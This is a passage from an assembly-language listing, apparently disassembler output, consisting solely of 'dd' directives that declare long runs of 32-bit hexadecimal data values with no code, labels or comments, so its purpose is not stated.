		dd 87DC4377h, 4788268h,	0DC64645Eh, 642D3F2Dh, 0DBD72260h
		dd 3DECB0BFh, 0BF4BADAh, 7141D9F2h, 1410BC5Ah, 805867B2h
		dd 9A34899h, 5C3BB460h,	0DE89CCC8h, 2A43F854h, 23C6AF57h
		dd 4BE74258h, 30609096h, 7FA12CAFh, 89C22DC6h, 5129E29Ah
		dd 453C054Ch, 70A4AD94h, 18EB2CA2h, 0DEA56008h,	8BC2C76h
		dd 54492D3Fh, 192E6534h
		dd 91E5868h, 6066F43Dh,	5494D130h, 0E159693Bh, 2D0460B4h
		dd 231CC294h, 0EB51DA49h, 2D43110Eh, 10871CA8h,	0C18A9BBh
		dd 9A7640F6h, 5C5CC74Dh, 0C4672518h, 30E24574h,	7E44022Ch
		dd 94F24F6Ah, 7800E0CCh, 0EBB5E480h, 69172C38h,	8234257Ch
		dd 0FC018174h, 288047D2h, 4CB1B0C0h, 825E609h, 0ED582277h
		dd 2240A473h, 0A609FC49h, 0A62F247Ah, 0F258023Bh, 0AACAFE3h
		dd 0B48024EEh, 0FE66F8D0h, 98145505h, 801AC9E3h, 9439464h
		dd 974EE27h, 0BCB0A188h, 240EA28h, 0FC3DB003h, 446FA83h
		dd 2B42448Ch, 0DCA5EB22h, 70200517h, 4A06D8F0h,	0DA4C894h
		dd 0FB48868Ah, 0A04A141h, 0EB1891B2h, 0F30C1219h, 22024386h
		dd 381CA1E3h, 4893E618h, 7490811Dh, 0F478CC5Bh,	0F57440Ch
		dd 8C1A4037h, 929F7275h, 189C853Ch, 7618FC5Eh, 8045C010h
		dd 6B71B6EEh, 8C509CB3h, 2C9C7Ch, 412F0B17h, 10A06853h
		dd 9A18E42Eh, 0E1E045A9h, 346148B1h, 8883953Dh,	0B504137Fh
		dd 814A48AEh, 2817940Ch, 0F85816Dh, 389850D1h, 8B6069B4h
		dd 16D0F821h, 0D0C90B6h, 957366F6h, 9D6EFD18h, 41718D39h
		dd 7EE246F6h, 0D0480608h, 78183912h, 7C519A06h,	8FAF0045h
		dd 0E0B8BD51h, 2700A612h, 53ADFFE6h, 0B0A57983h, 0AC24B604h
		dd 88CC13E4h, 87CF6C4h,	246FE380h, 19D4A88Ah, 7088E076h
		dd 84E83DC4h, 9EA6570Dh, 41194Fh, 0FEF65311h, 78D10ACh
		dd 29728F27h, 0E62B7EC0h, 209C25B7h, 0FE0330A0h, 9C08FD8h
		dd 0C113E71h, 744101BBh, 0F36AB38Ah, 0A34C5C89h, 9A2BB8C7h
		dd 0E022A4E5h, 352023C8h, 0E5B8480Ch, 81BEF094h, 67C8114Bh
		dd 0F21D5C7Dh, 60120EDh, 8FAC6F6Bh, 488193F6h, 21F2A28Ch
		dd 0C3443C73h, 0FF41370Bh, 14A4EB45h, 67EF74ECh, 826B2163h
		dd 45A696Fh, 0D6E0B413h, 0AC2C185Eh, 8CDB2F80h,	30435361h
		dd 571C69Ah, 0C49CBEF7h, 3B1CB111h, 0F64D40D2h,	81C664C3h
		dd 0C9E010B7h, 714800FDh, 0A24345A6h, 8B32DDAEh, 218140A1h
		dd 30AC79CAh, 90AB9620h, 1022B7B3h, 2510A0AEh, 32A7000Bh
		dd 567BFAFCh, 724469B7h, 0C2E54ED9h, 7444E0D8h,	0BCDA282Ah
		dd 3322D307h, 0BE124044h, 9EF0FC9Eh, 0A6BD432Ch, 0CB98F253h
		dd 526035DAh, 3EB6A0B0h, 2CBA488Bh, 0B0B6822h, 0D82E3BB0h
		dd 21CC003Ah, 30015FC4h, 4B978C72h, 0B0B2F85Ch,	51B4024Fh
		dd 527CCFB8h, 1276F061h, 0F21C483Dh, 8859D167h,	115F6078h
		dd 0FB03B0E1h, 61DB5812h, 0D45A0C0Ah, 0A8947164h, 83602815h
		dd 487DE0FCh, 713D6421h, 5E5184CCh, 0B8610C07h,	0D055469Ah
		dd 0B0EA8F3h, 97C95D33h, 81ECB905h, 4416718h, 0C3591462h
		dd 3004E538h, 0C72768E0h, 0B8247BEEh, 0FC3741E2h, 0F8F71354h
		dd 1FF888h, 0AFC1387Bh,	629A2932h, 716529C0h, 1B475B0h
		dd 9248C6BFh, 22820278h, 0B53F1D04h, 55782869h,	0A0A84371h
		dd 28243425h, 0A2CA8B3h, 60697B2Fh, 59DF85C0h, 6F68825Ah
		dd 0B4EF6120h, 0AF570460h, 8C6DB041h, 0F686651Ch, 29DE0B2Eh
		dd 88A27FA7h, 9890B8E5h, 0F0B94E56h, 100CCD15h,	95884D36h
		dd 7573E62h, 0B116113h,	8F8BE8A4h, 19DCC2Fh, 65C5A588h
		dd 11D43E7Fh, 8EF8778Eh, 0E8E47742h, 8C94BC74h,	4C2FBE5Ah
		dd 0EB009623h, 0F56AF3E2h, 0E619C184h, 7CD4EAC9h, 3EF6216Ch
		dd 0CA94F816h, 9DBE2238h, 9D916017h, 1080AE8Fh,	5F7B247Ah
		dd 3BDF4300h, 0D9B6E415h, 328C2C2Ch, 0B49E926Ch, 4A00DE5Ch
		dd 0D7102443h, 45304EEh, 8FA8E9EFh, 4420EEFCh, 0E9B25CC9h
		dd 0E8EA47DDh, 80676CC0h, 9C04DF20h, 2D4248C5h,	6B9429BEh
		dd 69239C3Fh, 89C7FD00h, 131A3774h, 40649E0Ah, 6A8CABC4h
		dd 0FE0570C0h, 67BC7DF8h, 6DA2A8A3h, 271B330h, 2DF1F4D6h
		dd 94DC866Bh, 2E871445h, 3B3C1190h, 608098F6h, 0D373F9F5h
		dd 89E413CDh, 6DDDB405h, 0F063F06Ah, 467FF9AFh,	9B4ED1BEh
		dd 0C80882B8h, 99A640A9h, 8BD3019Ch, 7CD2263Bh,	652980EDh
		dd 0EC17DE2Dh, 93CCB152h, 0F250E2B7h, 0F4E0317Ch, 0FF0520EBh
		dd 9881BA95h, 480008B3h, 2C4F1805h, 0ED016E6Fh,	0C7AADDB0h
		dd 0D7CBD0FFh, 9025A253h, 0A6A13D2h, 0EA7C42C8h, 0DA160754h
		dd 20728417h, 25E6BF31h, 0C86D84B3h, 39EE36CCh,	6E130ABDh
		dd 0E5981CB7h, 7DF1B059h, 2B099618h, 5D5CF0h, 0E5BAF47Ch
		dd 123229B5h, 1870D1A8h, 8E24022Bh, 6F2CE0Dh, 0C2AC0E5Fh
		dd 0C4DD0EFEh, 9D7870ACh, 0A5AE5C98h, 909A0400h, 7995F2E0h
		dd 60A0791h, 0D0575CF7h, 4B3B3A21h, 2AA91517h, 8BDC540Fh
		dd 244C675h, 8137D37Ch,	0C304AD8Dh, 0CFE6F043h,	0DF757902h
		dd 67B4A540h, 609C4478h, 0FD892Ch, 48E4D5Fh, 3D35B6C7h
		dd 32CD0304h, 0E0E805D7h, 6909AB80h, 0F81C0497h, 950B2CA2h
		dd 9D20124Ah, 9D6211DCh, 440B7616h, 0C4D067AFh,	6B217F6Bh
		dd 4B80857Ah, 0CDB818EDh, 9F827400h, 98DB94DAh,	0C1336968h
		dd 465E9454h, 9927006Fh, 0AF280610h, 0A52A091Ch, 54206D9Ah
		dd 89AE553Eh, 4D58500h,	68B5EEFAh, 6E41C07Dh, 0B2A24329h
		dd 1F87DB07h, 0FE806D24h, 9E9F73E5h, 0D1458058h, 4A79B652h
		dd 0F1349A00h, 0DA3F197Dh, 1D141CB4h, 28A54FC0h, 0F69CF801h
		dd 640EDD42h, 0DEF83520h, 8271CA69h, 0FA07787Ch, 0EC7C5CE8h
		dd 7F29009Eh, 3F117447h, 2F4B7517h, 0E8D874C8h,	46F704B0h
		dd 80F3C776h, 0F1EB168Eh, 0A6CC033Fh, 6803E199h, 90CDD1FCh
		dd 3D170523h, 61609AE1h, 193B6F0Bh, 9800FFF6h, 24B2C3B6h
		dd 316379Dh, 64A5F2DEh,	48BEA215h, 5DC5411Ch, 0DCDA2587h
		dd 0C05F76C2h, 6F77D0h,	89F37517h, 8CF0E1CFh, 0FD8F7313h
		dd 6BCFECECh, 888EE460h, 6BD9AE6h, 0FA2172E0h, 0C7F1C053h
		dd 0DFF062Dh, 0DC334500h, 1E709026h, 0F3FD0139h, 9A61444Dh
		dd 3982C17h, 0EF9FB1BEh, 0C78BA05Ah, 6D360047h,	48EE66A7h
		dd 0D9284660h, 8F30043Fh, 77E611FBh, 0A67004Fh,	0C31D3DA5h
		dd 0ED036407h, 575B68CDh, 8AC5884Ch, 45B53ECAh,	0C88D4E38h
		dd 0E0405667h, 0CB016348h, 0CD407A2Dh, 28830446h, 5DA085E5h
		dd 4ED9400Eh, 138B4E4h,	0DC61406Fh, 20804504h, 47AB2978h
		dd 93D3FDAh, 0A63C0EC9h, 0EEA5A094h, 1791C7F0h,	7F4292h
		dd 539B25A7h, 1407CB6Ah, 0C3522261h, 63569100h,	40F51CC9h
		dd 6044E84Eh, 0CB06510Ah, 31C05D44h, 0E0DDD202h, 4080C055h
		dd 0C846F2D5h, 18EF453Eh, 0DA1870D8h, 316620C5h, 8CDAA08h
		dd 0A8760046h, 3C280E9Fh, 29BC603Eh, 0C90C944Eh, 3C613038h
		dd 0AA1A4091h, 17C0104Dh, 546F7590h, 28968470h,	24268D05h
		dd 0C046ECCh, 106A0AE0h, 4DA13028h, 99EA0818h, 0FB6994A0h
		dd 46637E02h, 80275261h, 49B2880h, 0F3F0DDCh, 0DA2986EBh
		dd 89241110h, 8EE110A7h, 58D10302h, 30B9FA96h, 0AE9AA8E0h
		dd 80B25E00h, 666DE388h, 20190E63h, 83C3B9F9h, 7898EEC5h
		dd 0A3008E26h, 0C0AF06D8h, 0EA1837A9h, 0AEC1008Ch, 0AE5E2BAh
		dd 1007FA57h, 14FE481Fh, 0CCFD54C0h, 0A01703D9h, 0ECC7341Ch
		dd 5C398ED8h, 9410D61Fh, 7F24D440h, 33260BDh, 0A0337867h
		dd 6380FBE9h, 0CF000C9Bh, 36D0EBBEh, 0A8A715E5h, 0FDB698h
		dd 0F33CAD2h, 0F913B3A6h, 0AA5E0B0Fh, 7644C05Fh, 0F146B5h
		dd 0A8AC73FBh, 90B874F4h, 0BC631B2Ah, 0CAA10B07h, 51B0D64Dh
		dd 307B6112h, 97B015E3h, 0D2304516h, 806F21E6h,	6EF0001Ah
		dd 9DCD0A9Ch, 9F03FE0Fh
		dd 0D2C186ECh, 0D364F0F6h, 0AE8A00DCh, 0BDE1343Eh, 5C015AF5h
		dd 59DFA4D7h, 1400C28Eh, 71070CC8h, 0C0CB35FEh,	0D8E91550h
		dd 0F4060022h, 7BB148A1h, 0A87AC84Ah, 90952101h, 8EC14BBDh
		dd 0B3069840h, 3A1B00B1h, 34D72244h, 86391DC8h,	99028F2Ch
		dd 0CBFC81B2h, 0E8BF67AEh, 0FDEABB01h, 0E447F2A2h, 440075B1h
		dd 4AF86FB9h, 0A0AD40CEh, 7615590h, 0E4728209h,	2A9830CAh
		dd 7D006CDBh, 646FED89h, 38A06E6h, 71E0E9F1h, 0DCA9B5CFh
		dd 6800F7E7h, 793C3F6Eh, 2E546606h, 541D81h, 0C2E37AFh
		dd 1503D5C9h, 0E8ECD2E5h, 0B8DDD81Ch, 3EECF5h, 12FC54DFh
		dd 769128E3h, 0FE9F0700h, 470AE9F4h, 0CEC22609h, 43F5095Bh
		dd 0A2778C00h, 0A829EB25h, 6590C0BDh, 67F20A04h, 0D00C81D5h
		dd 0EBE051E4h, 5EC5112h, 0E1298952h, 0CF2000F2h, 0DDAEF7h
		dd 598DECCCh, 86915AEAh, 505FC607h, 0BBB0D91Bh,	116288h
		dd 9A09F5E6h, 0E2C04A87h, 0C22A8300h, 9973DC49h, 88C7004Ch
		dd 0B1B62CEAh, 3D0094C4h, 1EACCA79h, 9870C346h,	16E73A59h
		dd 0F7CB007Bh, 125338A1h, 0F0C44009h, 7080C641h, 3DC3611h
		dd 38D2EAB9h, 1AF856D5h, 920030FBh, 0C9961677h,	7743F5Eh
		dd 0A3B3D384h, 0C240FEECh, 628C940Bh, 0ADB42B02h, 48454A8Dh
		dd 0E58B6Ch, 0C5221689h, 961DCAEDh, 5BB58A00h, 31CE42AAh
		dd 504000D3h, 0FFAE0515h, 601C1163h, 16C0CFC3h,	9290D519h
		dd 2A35003Fh, 0A50F3486h, 0C90391BCh, 6093E081h, 1F18AE77h
		dd 184B78F9h, 1371291Eh, 0B7B9FB00h, 0B6152047h, 1A8C0043h
		dd 34AAED0Dh, 23000F2Fh, 139910E9h, 0E0C1DDC8h,	0DB2C130Ch
		dd 40301C3Fh, 4A64BEBDh, 0E63BDAFBh, 1E170A89h,	7600D62Bh
		dd 26FACFAEh, 0E07312h,	0ED2E9968h, 0A778B43Dh,	0CDE20A0Eh
		dd 0D3A4062Fh, 940303C8h, 274C3F9Eh, 0A8A7101Fh, 0FA793A80h
		dd 0E07686Ch, 94C58A60h, 8010E484h, 14BD3690h, 2D3859E0h
		dd 0D66E02C0h, 808A0CC5h, 377DAAACh, 9755006Ah,	0A63119Eh
		dd 91D20C1h, 7A405C53h,	37E7EE1Bh, 812243Dh, 0EA9D0F6Ch
		dd 502E7B46h, 5400A3F4h, 12A50D55h, 0E2BDE4DBh,	0FCC90304h
		dd 0C08F058Bh, 5D963900h, 8402C2BFh, 0A0AD0CC7h, 6A8953DEh
		dd 0ED9AC11Eh, 0E3F31A80h, 487F67CAh, 20088C8h,	4E8987B3h
		dd 58006663h, 6730AF50h, 38CD74h, 9DEADD86h, 9AEB0B25h
		dd 8819D000h, 0ABE46F84h, 68E10002h, 54730F8Dh,	9CA02270h
		dd 800CC6Bh, 78AE1053h,	1D072E3Ah, 808BFE04h, 2FDC3E38h
		dd 0D00C3115h, 0DAD58C23h, 457400ADh, 0E1943CB8h, 29D1A17h
		dd 80CAD04Eh, 7EF9B992h, 1DC71841h, 1070B820h, 1ECC8D09h
		dd 0CB28007Ch, 3A6829E4h, 3302F262h, 780488E0h,	8BD1DBC0h
		dd 0DF2A2B00h, 9FE5EEA9h, 0F848484Bh, 0E625B26h, 6CA10C08h
		dd 0CBBBC837h, 5A7E4FB8h, 0CA3BC4B2h, 32519889h, 2CDE5B78h
		dd 1014BA49h, 0B14E1620h, 67D4043h, 2A79C168h, 232090h
		dd 0BFF71786h, 16E9DEEDh, 0E6CB6A0h, 0AC241568h, 0D3A4C083h
		dd 60009BB2h, 8DBE8FA6h, 9A97E14Fh, 0F1120B54h,	6C20E4F3h
		dd 86850A7Ah, 0C4014E02h, 808BAD51h, 2CF6D3A8h,	4A1F00E0h
		dd 0A3BB207Dh, 908E56h,	30DAE830h, 4544E1h, 5A048F22h
		dd 5509586Fh, 40616C00h, 0D2EFF241h, 5BA80090h,	496E4E19h
		dd 0C000210Fh, 0B4E0B0E9h, 2E963E17h, 10CEBE1h,	0CE070AD6h
		dd 7EAEE03Bh, 0BA400803h, 0AD21BDC6h, 79A18807h, 5E04E7F0h
		dd 1E0EA57h, 4E25F4BCh,	727B169Eh, 0DD820F28h, 0DED503F0h
		dd 0C1F2F06Bh, 0AE221C48h, 0CB4140A4h, 3CB09187h, 0A8CAD49h
		dd 0A0FBCE3Ah, 261EF8Fh, 0C899C9D1h, 32D8C4h, 0CFFE2D4Dh
		dd 9386BA94h, 0A197D41Fh, 77493E80h, 2490D1h, 0E5AC03C3h
		dd 0C8555C0Eh, 0AE187301h, 0EE897145h, 5D49A9E4h, 0D600C826h
		dd 0B4357E12h, 15001EB2h, 0F73CD014h, 0FDE72F2h, 0F19F54D5h
		dd 0FC4A36C0h, 22010DA5h, 4F128247h, 6FF4E23Ch,	0D3C3001Ch
		dd 5D7B8D8Ch, 6498806Bh, 385CFE72h, 76FC0E94h, 0B14DC03Bh
		dd 5D32AB90h, 0E4004C43h, 0C4864CE9h, 0A001F3EDh, 3275307Eh
		dd 5FC01C94h, 3EAA000Ah, 0D00CA4FDh, 0D612DD8Fh, 0CA02A94Ah
		dd 40E83477h, 0F4095B6Bh, 9092012Fh, 15861EEh, 0E7E1846Bh
		dd 6490C569h, 1D444C42h, 0F6C401Ah, 185BE9EEh, 16E374C3h
		dd 426A20E0h, 35559092h, 82CFE1Ch, 7D1E0013h, 0C8C35221h
		dd 0BD0ACB81h, 1882E763h, 6B2C8638h, 7418A5C9h,	9778A042h
		dd 146A50E6h, 445C0E40h, 1F40D6C9h, 6BCB7E4Eh, 0F74223Dh
		dd 0F904C18Ah, 5C61C239h, 1AB818C7h, 401CB04Eh,	8CE62614h
		dd 6581428h, 32E9037Ch,	0F08E9BA5h, 3603C90h, 97207105h
		dd 0CFF01470h, 0AA04B80Fh, 7811A6A5h, 42A0A0h, 2B01CBABh
		dd 45F36967h, 0A7C0D894h, 0F8B50D91h, 594B608Fh, 5B86CEE9h
		dd 41E04C0Fh, 0A8DAC73Fh, 22290F66h, 7522917Fh,	112D4288h
		dd 6322090Bh, 24EE1803h, 800AF2B1h, 1AC5EEDh, 0CA380C61h
		dd 0DC9E2E3Fh, 7C0136A7h, 0ABCBDB8Ch, 0F8CB83E4h, 849C03h
		dd 0A5BC236Ah, 634D4295h, 872D1B13h, 2A1E1801h,	6080E4BBh
		dd 79762F5Eh, 0A32E290Bh, 4F819437h, 0A433B877h, 66B3119Dh
		dd 59AF8450h, 0AC5CC14Ch, 0C6B07455h, 4E1D11F9h, 3F8FC470h
		dd 107412A3h, 6F38Bh, 0FC739917h, 2CB3CA46h, 2AFB6h, 9A44272Ch
		dd 2400471Ah, 9766F8FAh, 0E609EAA8h, 0CE5A00C2h, 0F94EBD7Eh
		dd 0D400C1F3h, 6FA58ADCh, 67CB1E9Ah, 0EFD710E1h, 68BD9226h
		dd 82B20D00h, 10D65A35h, 504B0038h, 0A8455F86h,	0C9094913h
		dd 2003400Ah, 9872D518h, 16B11375h, 483201FCh, 0CCF4BFDEh
		dd 4200C134h, 28E213FDh, 1570FD8h, 0E02E9027h, 0C0C7BFF6h
		dd 0E800DF16h, 99FEB1A1h, 0A8D93446h, 584DC2B4h, 6512CC42h
		dd 50508078h, 0E7002271h, 0C7EE1DCFh, 15ED6302h, 0AC4D3A51h
		dd 14D8C502h, 10C8D225h, 9DFC64D3h, 9C4B0E1Fh, 0F92E4540h
		dd 0A89663FBh, 18C3A9C0h, 1136039Bh, 791FA449h,	0B2C0EE5Eh
		dd 0F7CD470Ch, 1E770186h, 0C03218EBh, 96E85015h, 844E94A3h
		dd 0C7B80C00h, 76D2E8Fh, 7337B06Fh, 80997752h, 5DC8935Bh
		dd 1F8E3801h, 2F9EBCBh,	0FC1C088Bh, 0C0750C85h,	99F51678h
		dd 2D500C09h, 0EF8205Ah, 0F0D4E683h, 84485518h,	491A60h
		dd 0C945533Eh, 0F83FFC36h, 0ACC7A600h, 19162320h, 0BB470093h
		dd 0F75F0ADDh, 960099C2h, 0B4E7747Eh, 6EFDCEh, 46837969h
		dd 0D736FF23h, 5EE1B115h, 44080094h, 3A390F7Dh,	9CF1672h
		dd 54E10010h, 0C3D3FEE1h, 5907F27Ah, 864FC2D8h,	130698FCh
		dd 239493h, 25DA76A4h, 70C4CC0h, 0E8E4F4C7h, 0D28D17ACh
		dd 96D001FFh, 24F8C9B8h, 1C0068BCh, 9FE9A17Bh, 1E23695Bh
		dd 80AB9E15h, 4AE5A501h, 0C44C8C71h, 818C4030h,	87DAD906h
		dd 16C3E64h, 0C5941BC0h, 0DB377DAEh, 65A5980h, 0D17EE21Fh
		dd 0CB3E7580h, 2112BEh,	54EC228h, 0E8EB6104h, 5C50F105h
		dd 0A0802A0Dh, 769BAE9Ah, 0C7D10086h, 69347AA4h, 3099336h
		dd 211C887Ch, 0DABFAAD8h, 483DF881h, 942094C4h,	2CA83708h
		dd 0C5009650h, 80B9EA56h, 0E3E9377Ch, 0C6945038h, 6703FF09h
		dd 8A1522C7h, 0FBE7891Fh, 0ED93E882h, 9D20371Ah, 36F45h
		dd 2FF2A2F8h, 491080DCh, 0CAEA3A00h, 0E5CD1477h, 57E7F8Ah
		dd 0C2018F64h, 2010C947h, 80008818h, 8E6C67F5h,	0C09158DCh
		dd 17A216E9h
		dd 0B1006964h, 890530Bh, 2F65A9h, 0F347320h, 97D1AEABh
		dd 0A311C860h, 77A6146h, 0DEE34F68h, 807F95B3h,	18C0544Eh
		dd 0AEE07460h, 3A70A295h, 0A980A643h, 11D8B232h, 730066BDh
		dd 6138BB55h, 0FEC9E063h, 0CAD907E6h, 0F24F0CFCh, 2C60C74Dh
		dd 0CC541BB3h, 0E8E426B4h, 87C1A53Ah, 0B6E5B714h, 0CCF02069h
		dd 19466Fh, 0A71DF755h,	0C9868172h, 6C00E44Bh, 10ADD328h
		dd 21672EACh, 235C409Ch, 50160DEAh, 7C4788F7h, 3E10F39Ch
		dd 50BB0681h, 7D9DCCB3h, 3FA0013Ah, 94A9196h, 132CE80Eh
		dd 0CF7CD700h, 0FC867F1Bh, 96CB066h, 51649756h,	6809ECC4h
		dd 0E01F874Eh, 2D3D54h,	0F0D3CA0Dh, 90C54F84h, 0B7A81D60h
		dd 3AD4FCh, 1F0950DBh, 8C0607FEh, 4702C11Eh, 1D76CA43h
		dd 12638093h, 40F54DE0h, 0AA020D7Bh, 47118647h,	0F632B0C0h
		dd 0E5032FD8h, 0E721DE1Fh, 0D3213EF8h, 5DCC0780h, 7346062Eh
		dd 0D5EFD1Ch, 61581402h, 0EE28CCFBh, 0B6E903BBh, 0B3EA8312h
		dd 970B0876h, 0F8EF1Fh,	9E1ACFACh, 8BD4A84Ah, 0D854003Eh
		dd 297978B6h, 52008F47h, 0FF7A5D01h, 0A3E450h, 0AD688154h
		dd 3975CBA7h, 36773E00h, 902CA0C3h, 22CE1887h, 0B24A51B3h
		dd 0FD0A8C9Ch, 9000C886h, 6CD518B1h, 841D00EFh,	3243AD2Ah
		dd 16F0B3B7h, 0C1DF1300h, 0BB31BEC7h, 0CD46382Fh, 9A7E077Fh
		dd 20D8C663h, 89EB6577h, 3AE30801h, 0EFF90ECFh,	0E8063D1h
		dd 303E1785h, 35006F9Dh, 8ED53F48h, 4A0547h, 0A02C49BEh
		dd 77E5EF13h, 38E98B00h, 843726Bh, 489047h, 8350F827h
		dd 8EC88DF1h, 0ECA35216h, 47662C80h, 7E610034h,	15894C6Fh
		dd 97015E58h, 0B1C4F62Fh, 0DAC51DCDh, 0C0145E20h, 0D0EDA07Ah
		dd 4C00C736h, 20EB0A04h, 40F6EB9h, 0D1FCF637h, 0DA108003h
		dd 0A51E4DC6h, 64AC2C4Eh, 0FC0CB9Dh, 39AC446Ah,	0D73E0029h
		dd 413DD312h, 17067343h, 88A5FF56h, 0FB4E0076h,	53769311h
		dd 2A00CBB9h, 0BA4F4037h, 0B04ABEA9h, 622B0070h, 0F8FE3DAEh
		dd 0F38B351h, 68968459h, 0E080C45Bh, 81D92203h,	4A2C3063h
		dd 0FD47E49h, 0CDF9E857h, 0A04111EDh, 4F308992h, 0D110139Dh
		dd 2B6C0142h, 286CCD04h, 84810C40h, 1E3D14Dh, 2E2D0CA4h
		dd 342305DFh, 25384614h, 4FCD8024h, 0A9074EB3h,	12D8042Ch
		dd 0E0FD827Eh, 0E2009C74h, 0A42DD26Eh, 304C48h,	0DA2E9B31h
		dd 0E18622AEh, 67038909h, 38884539h, 6B2E9Fh, 424BB4DAh
		dd 22F0CF7Bh, 0A9A87D0Ch, 6EFA831h, 19A7A532h, 2A78113Bh
		dd 87188F1Fh, 238075C0h, 0FDF411h, 7868A072h, 1F0640E6h
		dd 6C4E1203h, 9A05C344h, 9FEC51E7h, 84D70374h, 5002ED47h
		dd 5863EE92h, 104C5903h, 195CC883h, 0E4E438DAh,	690E6B04h
		dd 0E063737Fh, 20AAD3Eh, 641A03A6h, 0C4A75A12h,	4DB8FF80h
		dd 8993BE00h, 4C64C5Bh,	0E09139ECh, 9F3C5C49h, 63A5F200h
		dd 0CA9DFC65h, 0A122E31Dh, 7C19903h, 0A5290038h, 4EC314ECh
		dd 39F289B9h, 453057F8h, 7AD9A056h, 0CA4A0CFEh,	0E5C15ACEh
		dd 25486867h, 5B8A4EC0h, 6B18172Bh, 64970078h, 4807E15Ch
		dd 3C3603Ah, 44572F68h,	0DA500B0Fh, 0A0E08E29h,	0DC3E04BDh
		dd 0B56E1549h, 0CEA00E88h, 7E001FF3h, 0B0CB8AABh, 0AE4A0754h
		dd 0E049D4E5h, 71A367A7h, 0DFD24F3Eh, 9876D441h, 11804D8Eh
		dd 0D7EC6D81h, 0C106780Fh, 40553EA7h, 2CB4468h,	0BC315601h
		dd 0CE9C0A18h, 0E459BBF4h, 0E0570ED1h, 0A143609Bh, 307ABD9Fh
		dd 0C84F434Bh, 4A8146A5h, 4EEC074Ah, 107FE618h,	0D1E18587h
		dd 3270C107h, 6E131A95h, 0E87100C2h, 0AA4D7659h, 0C15CA1B3h
		dd 74CF1E36h, 8FE69A00h, 384128BEh, 6FAACA16h, 3057E0B4h
		dd 0A0794042h, 63033EEEh, 0E1C39FCBh, 0ECA87344h, 0CA400C71h
		dd 51394DC4h, 79CDD536h, 0F1694550h, 8CC47CCCh,	0B85967h
		dd 0E569ECC0h, 0A2ACD6B5h, 3BD20C07h, 38F0DC61h, 1F41FF17h
		dd 45A5C163h, 40E0289Dh, 4845E8E0h, 5B01D375h, 0B17F0E4Ah
		dd 0E2C02A7Eh, 89500087h, 0ED2C83A6h, 0C1005158h, 8515DCB9h
		dd 0CD9DDDh, 0BDF3548Eh, 6BD66675h, 3CF54C00h, 0D0321A42h
		dd 0A6680065h, 50A87C3h, 1C04463Dh, 6269D206h, 307B86h
		dd 0AF9BF83Fh, 6188B26Fh, 5D0D6801h, 1BC1E2BBh,	0EE72ECh
		dd 13207116h, 80C6D10h,	0E98EB300h, 51A56982h, 0AFB9004Fh
		dd 366E9B7Ch, 28000825h, 1022D67Bh, 1CC88C7Eh, 2D058E5h
		dd 6277F1Dh, 96F01060h,	21A36B00h, 7CBAB855h, 18BE009Fh
		dd 4B7A0615h, 2C0001DDh, 43C8A66Eh, 74EFDE07h, 4C6C0594h
		dd 8068FA88h, 0E2024B9Ah, 831404AFh, 0EF044314h, 67B129C1h
		dd 304AF04Ch, 0E8351D00h, 0E351DE7Eh, 0DC32008Ch, 2956533Fh
		dd 4E1EB76Eh, 1B595702h, 0C908C229h, 84523944h,	4218A822h
		dd 3E447936h, 16428446h, 98081A21h, 842A9038h, 0E482308h
		dd 24040F42h, 217D211Eh, 11527211h, 2124033h, 892BEA10h
		dd 44690866h, 2284F64Bh, 4A4236E8h, 11554F11h, 0B911BCDAh
		dd 50BE2834h, 504A0D22h, 444414CEh, 7584A233h, 8B2890Ah
		dd 9612E330h, 0A90CBF20h, 0F56248DBh, 0DBFB28h,	0AF979DEEh
		dd 8F41BB49h, 0E4502C00h, 0D3052992h, 224C1EC2h, 46E940B2h
		dd 0BB0DC89Eh, 16AD6800h, 2DB30C14h, 937419h, 0A14CDD6Bh
		dd 36F61B9h, 0A7ACD0E1h, 9D21F239h, 899CF708h, 0B4A8FD03h
		dd 0E6880090h, 0CCC82C0Eh, 79005FEFh, 0B9C06F6Ch, 751F65Dh
		dd 0C6881606h, 0D03ED3FCh, 78583101h, 0FDBC6B68h, 5D8C8h
		dd 84CBAEC0h, 8AD3C735h, 0FF321200h, 0A9A65FB2h, 0D91E5C68h
		dd 39539802h, 0AEC04786h, 0BB0EF7B5h, 0CB5904h,	701C5D73h
		dd 0AF4300D5h, 0D49BFE38h, 401D9C74h, 4F805EC6h, 7B669DB8h
		dd 0F4470957h, 84231E76h, 0E6C0EED1h, 0A5E6E135h, 4FB9B01h
		dd 0FA97AA89h, 3C5B8F0h, 20127123h, 47D81109h, 2A0E7BA5h
		dd 206B1B02h, 0E14DE01Eh, 6CDEE22h, 2DDB5EC3h, 5F0060EFh
		dd 9EDE0629h, 79CA08h, 7F947C2Bh, 770C7D9Ch, 2195E00h
		dd 6AB77B65h, 38CB015Ah, 1852502Ah, 236DC8CEh, 1A9CD650h
		dd 91ADB203h, 0E0EE894Fh, 1E15D2h, 0E09DD0F1h, 9B6FB58Ch
		dd 20B748h, 0EE36B8DAh,	0FEC218h, 0FF0EE716h, 56B6C623h
		dd 2463CC01h, 9B9DD2BFh, 6FD5E4E5h, 535DE4h, 0A7E5D03Ch
		dd 0E6587769h, 790D8B00h, 3D8CBD46h, 74E0002Dh,	47BCEFE5h
		dd 3700EA1Ch, 12244B04h, 39B6FEh, 0A3B105FBh, 0A2B04AA8h
		dd 455AB00h, 0F770828Fh, 0CC72008Ch, 0D81B3E4Fh, 4100B963h
		dd 0B331DE30h, 986F118Bh, 0C17F1D4Ch, 2E007B94h, 803EE170h
		dd 9000C0D5h, 0FEA6B0EDh, 98F1743h, 2151AD84h, 0C7056200h
		dd 260B0B54h, 77F04Bh, 0C8539DCAh, 7F2A0059h, 21E6C58h
		dd 0D80026A8h, 0A7A9C9D4h, 98E2BB5h, 65A4B164h,	3C305020h
		dd 4E004F05h, 6C51F8D0h, 7B00B15h, 0B69DD555h, 0D4A85001h
		dd 1300CF53h, 0F5363F06h, 24F8F4h, 0FEF2C356h, 114D08D7h
		dd 0D660300h, 394BA010h, 12BC9A73h, 5580078Eh, 3F395C00h
		dd 99607FB0h, 0DC0981D8h, 342B195h, 0D05D5270h,	774AEBh
		dd 1C45C909h, 92E8D58Bh, 0B790620Ch, 42B8DFh, 81B42566h
		dd 6A77AE98h, 0F02A9C00h, 0D3AB6CFFh, 0A07128h,	0E32C2203h
		dd 55747B7Dh, 0F7E83A0Fh, 0BA0C60C7h, 76F6609Bh, 950B0064h
		dd 61561712h, 2D7A01AAh, 47428200h, 0BF465AFAh,	111C00CFh
		dd 14D7AF66h, 0B012163Dh
		dd 0C008B5Ch, 0A197BA58h, 1FC3EEBDh, 80139129h,	0EED0FD0Dh
		dd 85008DD2h, 6E9987FAh, 1B1C7Eh, 0AB650B22h, 8D9230D7h
